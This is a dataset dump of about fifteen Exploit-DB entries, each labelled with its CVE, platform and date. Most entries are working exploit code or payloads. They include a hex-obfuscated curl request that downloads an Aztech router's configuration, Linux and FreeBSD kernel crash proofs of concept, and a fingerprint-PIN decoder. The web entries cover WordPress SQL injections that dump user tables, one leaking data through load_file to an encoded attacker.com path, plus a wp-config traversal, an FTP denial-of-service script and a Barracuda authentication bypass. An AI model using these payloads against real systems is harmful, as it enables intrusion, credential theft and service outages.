QLWD/code_shield huggingface dataset:
标题: Aztech Modem Routers - Information Disclosure EDB-ID: 39314 CVE: 2014-6437 类型: REMOTE 平台: HARDWARE 发布日期: 2014-09-15 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/69808/info

Aztech Modem Routers are prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks. 
*/

HOST=$1
PORT=$2
PARM1="\x48\x6f\x73\x74\x3a\x20"
PARM2="\x50\x72\x6f\x78\x79\x2d\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65"
PARM3="\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x69\x6d\x61\x67\x65\x2f\x77\x65\x62\x70\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38"
PARM4="\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x33\x37\x2e\x30\x2e\x32\x30\x36\x32\x2e\x31\x30\x33\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36"
PARM5="\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x61\x64\x6d\x53\x65\x74\x74\x69\x6e\x67\x73\x2e\x61\x73\x70"
PARM6="\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x64\x65\x66\x6c\x61\x74\x65\x2c\x73\x64\x63\x68"
PARM7="\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x38"

NARGS=1
BARGS=65
main() {
        printf "\---------------------------------------------\n";
        printf "++ Aztech Modem Get Configuration File Exploit\n";
        printf "++ Usage: $0 TARGET PORT\n";
        printf "++ Ex: $0 192.168.254.254 80\n\n";

}

[[ $# -le $NARGS ]] && main && exit $BARGS

curl -i -H "$PARM1" \
        -H "$PARM2" \
        -H "$PARM3" \
        -H "$PARM4" \
        -H "$PARM5" \
        -H "$PARM6" \
        -H "$PARM7" http://www.example.com:$PORT/%63%67%69%2d%62%69%6e%2f%75%73%65%72%72%6f%6d%66%69%6c%65%2e%63%67%69 > romfile.cfg URL: https://www.exploit-db.com/exploits/39314
标题: Microsoft Windows - Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux (MS16-008) (2) EDB-ID: 39310 CVE: 2016-0007 类型: LOCAL 平台: WINDOWS 发布日期: 2016-01-25 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=589

Windows: Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux 2
Platform: Windows 8.1, not tested any other OS
Class: Security Feature Bypass

Summary:
The fix for CVE-2015-2553 can be bypassed to get limited mount reparse points working again for sandbox attacks by abusing anonymous token impersonation.

Description:

This is another way of bypassing fix introduced in CVE-2015-2553 to block access to creating mount point reparse points. In this case instead of using the per-process device map directory we can use the fact that the anonymous token can support a per-user device map directory. If this doesn’t exist (which seems to be rare it gets created) the kernel uses ZwCreateDirectoryObject inside SeGetTokenDeviceMap. 

So instead of creating an anonymous directory object and setting it as the per-process device map we do everything while impersonating the anonymous token and open \?? as the root directory. We can then use the same trick as in the original PoC to set the mount point by pointing it at \Device\NamedPipe. This works because traversal is not blocked due to you not fixing MSRC case 21132.

I guess this could be fixed by passing the OBJ_IGNORE_IMPERSONATED_DEVICEMAP flag when checking for the writable directory, but of course that might go horribly wrong somewhere. Or perhaps the anonymous authentication ID shouldn’t create a per-user device map?

This does have a limitation from the previous attack as it doesn’t work if the process has a restricted token as NtImpersonateAnonymousToken returns STATUS_ACCESS_DENIED although I believe it would work from AppContainer assuming the device map hadn’t already been created (otherwise not sure the DACL would allow access).

Proof of Concept:

I’ve provided a PoC which will demonstrate the bypass. It should be executed at low integrity using psexec or modifying the executable file’s ACL to low. You can compare the operation to the command shell’s mklink tool that will fail to create the mount point at low integrity. The archive password is ‘password’. Follow these steps: 

1) Extract the PoC to a location on a local hard disk which is writable by a normal user.
2) Execute the poc executable file as low integrity passing two arguments, the path to a directory to create (must be somewhere than can be written to as low integrity user such as AppData\Temp\Low) and the arbitrary file path to set the mount point to. For example:
poc.exe c:\users\user\appdata\local\low\abc c:\notreal
3) While the PoC is running you can now list the directory and get access to its contents.

Expected Result:
It shouldn’t be possible to create a mount point pointed at a location not writable by low integrity user

Observed Result:
The mount point is created successfully. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39310.zip URL: https://www.exploit-db.com/exploits/39310
标题: Linux Kernel 3.x/4.x - prima WLAN Driver Heap Overflow EDB-ID: 39308 CVE: 2015-0569 类型: DOS 平台: LINUX 发布日期: 2016-01-25 漏洞利用脚本: /*
 * Coder: Shawn the R0ck, [citypw@gmail.com]
 * Co-worker: Pray3r, [pray3r.z@gmail.com]
 * Compile:
 * # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT  -pie 
 * # ./a.out wlan0
 * Boom......shit happens[ as always];-)
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#include <errno.h>

typedef unsigned char v_U8_t;
#define HDD_MAX_CMP_PER_PACKET_FILTER     5

struct PacketFilterParamsCfg {
 v_U8_t protocolLayer;
 v_U8_t cmpFlag;
 v_U8_t dataOffset;
 v_U8_t dataLength;
 v_U8_t compareData[8];
 v_U8_t dataMask[8];
};

typedef struct {
 v_U8_t filterAction;
 v_U8_t filterId;
 v_U8_t numParams;
 struct PacketFilterParamsCfg
     paramsData[HDD_MAX_CMP_PER_PACKET_FILTER];
} tPacketFilterCfg, *tpPacketFilterCfg;

int main(int argc, const char *argv[])
{
 if (argc != 2) {
  fprintf(stderr, "Bad usage\n");
  fprintf(stderr, "Usage: %s ifname\n", argv[0]);
  return -1;
 }

 struct iwreq req;
 strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
 int fd, status, i = 0;
 fd = socket(AF_INET, SOCK_DGRAM, 0);
 tPacketFilterCfg p_req;

 /* crafting a data structure to triggering the code path */
 req.u.data.pointer =
     malloc(sizeof(v_U8_t) * 3 +
     sizeof(struct PacketFilterParamsCfg) * 5);
 p_req.filterAction = 1;
 p_req.filterId = 0;
 p_req.numParams = 3;
 for (; i < 5; i++) {
  p_req.paramsData[i].dataLength = 241;
  memset(&p_req.paramsData[i].compareData, 0x41, 16);
 }

 memcpy(req.u.data.pointer, &p_req,
        sizeof(v_U8_t) * 3 +
        sizeof(struct PacketFilterParamsCfg) * 5);

 if (ioctl(fd, 0x8bf7, &req) == -1) {
  fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
   argv[1], strerror(errno));
 } else {
  printf("You shouldn't see this msg...\n");
 }

} URL: https://www.exploit-db.com/exploits/39308
标题: FreeBSD SCTP ICMPv6 - Error Processing EDB-ID: 39305 CVE: 2016-1879 类型: DOS 平台: FREEBSD 发布日期: 2016-01-25 漏洞利用脚本: #!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
Source: http://blog.ptsecurity.com/2016/01/severe-vulnerabilities-detected-in.html

SCTP (stream control transmission protocol) is a transport-layer protocol designed to transfer signaling messages in an IP environment. As a rule, mobile operators use this protocol in technological networks.

This vulnerability threatens FreeBSD systems (versions 9.3, 10.1, and 10.2) if they support SCTP and IPv6 (default configuration). To exploit this flaw, a malefactor needs to send a specially crafted ICMPv6 message. And if he succeeds, he can conduct a DoS attack.

Denial of service is caused by improper check of the length of an SCTP packet header received from the ICMPv6 error message. If the target recipient is unavailable, the router can generate an error message and send it to the sender via ICMPv6.

This ICMPv6 packet includes the original IPv6 packet where the Next Header field indicates how SCTP is encapsulated.

When the kernel receives the error message via ICMPv6, it transfers the upper-level protocol packet to a necessary parser (sctp6_ctlinput()). The SCTP parser considers the incoming header has the required length, tries to copy it using m_copydata(), which has offset values and the number of bytes. Since a twelve-byte chunk is expected, if the attacker sends a packet with an eleven-byte header, a NULL pointer is dereferenced causing kernel panic.

There is no need for an open SCTP socket to successfully exploit this vulnerability. Scapy can help to create an ICMPv6 packet.
'''
 
import argparse
from scapy.all import *
 
 
def get_args():
    parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I", "--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
 
if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface) URL: https://www.exploit-db.com/exploits/39305
标题: Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure EDB-ID: 39292 CVE: 2014-5380 类型: REMOTE 平台: MULTIPLE 发布日期: 2014-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/69390/info

Grand MA 300 is prone to multiple security weaknesses.

Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks.

Grand MA 300 running firmware version 6.60 is vulnerable. 

#!/usr/bin/perl
#
# This script calculates the original pin based on the pin
# retrieved on the wire for the Grand MA 300 fingerprint access device
#
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
# encoded pin
#
# written by Eric Sesterhenn <eric.sesterhenn () lsexperts de>
# http://www.lsexperts.de
#
use warnings;
use strict;

my $cid = 0;     # connection id
my $ret = 0x4B00A987; # pin on the wire

# get gettickcount value (third byte)
my $gc = ($ret >> 16) & 0xFF;

# set third byte to magic value (so it becomes zero when we xor it later with the magic value)
$ret =  $ret | 0x005A0000;

# xor all, but third byte with last byte of gettickcount
$ret ^= $gc + ($gc << 8) + ($gc << 24);

# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

# xor with magic value
$ret ^= 0x4F534B5A;

# substract the connection id
$ret -= $cid;

my $fin = 0;
# revert the bits
for (my $i = 0; $i < 32; $i++) {
  $fin *= 2;
  if ($ret & 1) {
    $fin = $fin + 1;
  }
  $ret = $ret / 2;
}

printf("final: %X \n", $fin); URL: https://www.exploit-db.com/exploits/39292
标题: WordPress Plugin WP Content Source Control - 'download.php' Directory Traversal EDB-ID: 39287 CVE: 2014-5368 类型: WEBAPPS 平台: PHP 发布日期: 2014-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/69278/info

WP Content Source Control plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

WP Content Source Control 3.0.0 is vulnerable; other versions may also be affected. 

www.example.com/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php URL: https://www.exploit-db.com/exploits/39287
标题: WordPress Plugin FB Gorilla - 'game_play.php' SQL Injection EDB-ID: 39283 CVE: 2014-5200 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/69222/info

FB Gorilla plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-content/plugins/fbgorilla/game_play.php?id=-7+/*!50000union*/+/*!50000select*/+1,2,%28/*!50000group_Concat%28user_login%29*/%29,4,5,6,7,8,9,0,1,2,3+from+wp_users-- URL: https://www.exploit-db.com/exploits/39283
标题: WordPress Plugin GB Gallery Slideshow - '/wp-admin/admin-ajax.php' SQL Injection EDB-ID: 39282 CVE: 2014-8375 类型: WEBAPPS 平台: PHP 发布日期: 2014-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/69181/info

The GB Gallery Slideshow plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

GB Gallery Slideshow 1.5 is vulnerable; other versions may also be affected. 

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev-5b2ded0 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 10.0.0.67
Cookie: wordpress_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C5ae003a01e51c11e530c14f6149c9d07; wp-settings-time-1=1407537471; wp-settings-time-2=1406916594; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse; voted_2=6; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C6988bc86de7b7790fca51ea294e171a1; redux_current_tab=3
Pragma: no-cache
Cache-control: no-cache,no-store
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 120
Connection: close

action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=[SQL_Injection]


Exploit via sqlmap:

sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://www.example.com/wp-admin/admin-ajax.php" \
--data="action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2" -p selected_group --dbms=mysql 

---
Place: POST
Parameter: selected_group
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2 AND SLEEP(5)
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
--- URL: https://www.exploit-db.com/exploits/39282
标题: ArticleFR - 'id' SQL Injection EDB-ID: 39289 CVE: 2014-5097 类型: WEBAPPS 平台: PHP 发布日期: 2014-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/69307/info

ArticleFR is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ArticleFR 3.0.4 is vulnerable; prior versions may also be affected. 

http://www.example.com/rate.php?act=get&id=0%20union%20select%201,(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHA R(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(1 11),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%20--%202 URL: https://www.exploit-db.com/exploits/39289
标题: Mozilla Firefox 9.0.1 / Thunderbird 3.1.20 - Information Disclosure EDB-ID: 39295 CVE: 2014-1564 类型: REMOTE 平台: MULTIPLE 发布日期: 2014-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/69525/info

Mozilla Firefox and Thunderbird are prone to an information-disclosure vulnerability.

Attackers can exploit this issue to disclose sensitive information that may aid in further attacks.

This issue is fixed in:

Firefox 32
Firefox ESR 31.1
Thunderbird 31.1 

<style>
body {
  background-color: #d0d0d0;
}

img {
  border: 1px solid teal;
  margin: 1ex;
}

canvas {
  border: 1px solid crimson;
  margin: 1ex;
}
</style>

<body onload="set_images()">

<div id="status">
</div>

<div id="image_div">
</div>

<canvas height=32 width=32 id=cvs>
</canvas>

<h2>Variants:</h2>

<ul id="output">
</ul>

<script>
var c = document.getElementById('cvs');
var ctx = c.getContext('2d');

var loaded = 0;
var image_obj = [];
var USE_IMAGES = 300;

function check_results() {

  var uniques = [];

  uniques.push(image_obj[0].imgdata);

  document.getElementById('output').innerHTML += 
    '<img src="' + image_obj[0].imgdata + '">';

  for (var i = 1; i < USE_IMAGES; i++) {

    if (image_obj[0].imgdata != image_obj[i].imgdata) {

      for (var j = 1; j < uniques.length; j++)
        if (uniques[j] == image_obj[i].imgdata) break;

      if (j == uniques.length) {

        uniques.push(image_obj[i].imgdata);

        document.getElementById('output').innerHTML += 
          '<img src="' + image_obj[i].imgdata + '">';


      }


    }

  }

  if (uniques.length > 1)
    alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
  else
    alert('The image has just one variant when rendered. You\'re probably OK.');

}


function count_image() {

  loaded++;

  ctx.clearRect(0, 0, 32, 32);

  try {
    ctx.drawImage(this, 0, 0, 32, 32);
  } catch (e) { }

  this.imgdata = c.toDataURL();

  if (loaded == USE_IMAGES) check_results();

}


function set_images() {

  loaded = 0;
  create_images();

  for (var i = 0; i < USE_IMAGES; i++)
    image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();

}


function create_images() {

  for (var i = 0; i < USE_IMAGES; i++) {

    image_obj[i] = new Image();
    image_obj[i].height = 32;
    image_obj[i].width = 32;
    image_obj[i].onerror = count_image;
    image_obj[i].onload = count_image;

    document.getElementById('image_div').appendChild(image_obj[i]);

  }

}


</script>


<iframe src='http://www.example.com/'></iframe> URL: https://www.exploit-db.com/exploits/39295
标题: CesarFTP 0.99g - XCWD Denial of Service EDB-ID: 39274 CVE: 2006-2961 类型: DOS 平台: WINDOWS 发布日期: 2016-01-19 漏洞利用脚本: #!/usr/bin/env python
#-*- coding:utf-8 -*-
# Exploit Title      : CesarFTP 0.99g -(XCWD)Remote BoF Exploit
# Discovery by        : Irving Aguilar
# Email   : im.aguilar@protonmail.ch
# Discovery Date     : 18.01.2016
# Tested Version     : 0.99g
# Vulnerability Type  : Denial of Service (DoS)
# Tested on OS       : Windows XP Professional SP3 x86 es

import socket


buffer = 'XCWD ' + '\n' * 667 +'\x90' * 20
target = '192.168.1.73'
port = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((target, port))
print '[*] Target: ' + target
print '[*] Port: ' + str(port)
s.recv(1024)

s.send('USER ftp\r\n')
s.recv(1024)

s.send('PASS ftp\r\n')
s.recv(1024)

s.send( buffer  + '\r\n')
print '[+] Buffer sent'
s.close() URL: https://www.exploit-db.com/exploits/39274
标题: Barracuda Web Application Firewall - Authentication Bypass EDB-ID: 39278 CVE: 2014-2595 类型: REMOTE 平台: HARDWARE 发布日期: 2014-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/69028/info

Barracuda Web Application Firewall is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication mechanism and gain access to the appliance. This may aid in further attacks.

Barracuda Web Application Firewall 7.8.1.013 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-mod/index.cgi?auth_type=Local&et=99999999996locale=en_US&password=5a2fd48b65c5d80881eeb0f738bcc6dc&primary_tab=SECURITY%20POLICIES&secondary_tab=request_limits&user=guest URL: https://www.exploit-db.com/exploits/39278
标题: WordPress Plugin WhyDoWork AdSense - 'options-general.php' Cross-Site Request Forgery (Option Manipulation) EDB-ID: 39270 CVE: 2014-9099 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/68954/info

WhyDoWork AdSense plugin for WordPress is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability.

An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or perform unauthorized actions. Other attacks may also be possible.

WhyDoWork AdSense plugin 1.2 and prior are vulnerable. 

POST URL:
http://www.example.com/wordpress/wp-admin/options-general.php?page=whydowork_adsense&idcode=1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101
Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-co
Accept-Encoding: gzip, deflate
Referer:
http://www.example.com/wordpress/wp-admin/options-general.php?page=whydowork_adsense&idcode=1
Cookie:
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=hacking%7C1406766762%7C0a0ccdb16a9d99c2b9113e25e2ea6b8d;
wp-settings-time-1=1406489836;
wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=loreleitaron%7C1406766762%7C667e59a36d4254c8a178580770ac5135
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 843

CONTENIDO POST:
idx=1&whydowork_code=tets&whydowork_exclude=&whydowork_front_code_1=FALSE&whydowork_front_pos_1=top&whydowork_front_post_1=1&whydowork_front_code_2=FALSE&whydowork_front_pos_2=top&whydowork_front_post_2=1&whydowork_front_code_3=FALSE&whydowork_front_pos_3=top&whydowork_front_post_3=1&whydowork_page_code_1=FALSE&whydowork_page_pos_1=top&whydowork_page_code_2=FALSE&whydowork_page_pos_2=top&whydowork_page_code_3=FALSE&whydowork_page_pos_3=top&whydowork_single_code_1=FALSE&whydowork_single_pos_1=top&whydowork_single_code_2=FALSE&whydowork_single_pos_2=top&whydowork_single_code_3=FALSE&whydowork_single_pos_3=top&whydowork_singleold_code_1=FALSE&whydowork_singleold_pos_1=top&whydowork_singleold_code_2=FALSE&whydowork_singleold_pos_2=top&whydowork_singleold_code_3=FALSE&whydowork_singleold_pos_3=top&whydowork_adsense_oldday=&Submit=Update URL: https://www.exploit-db.com/exploits/39270
标题: WordPress Plugin Lead Octopus Power - 'id' SQL Injection EDB-ID: 39269 CVE: 2014-5189 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/68934/info

The Lead Octopus Power plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/Lead-Octopus-Power/lib/optin/optin_page.php?id=[SQL] URL: https://www.exploit-db.com/exploits/39269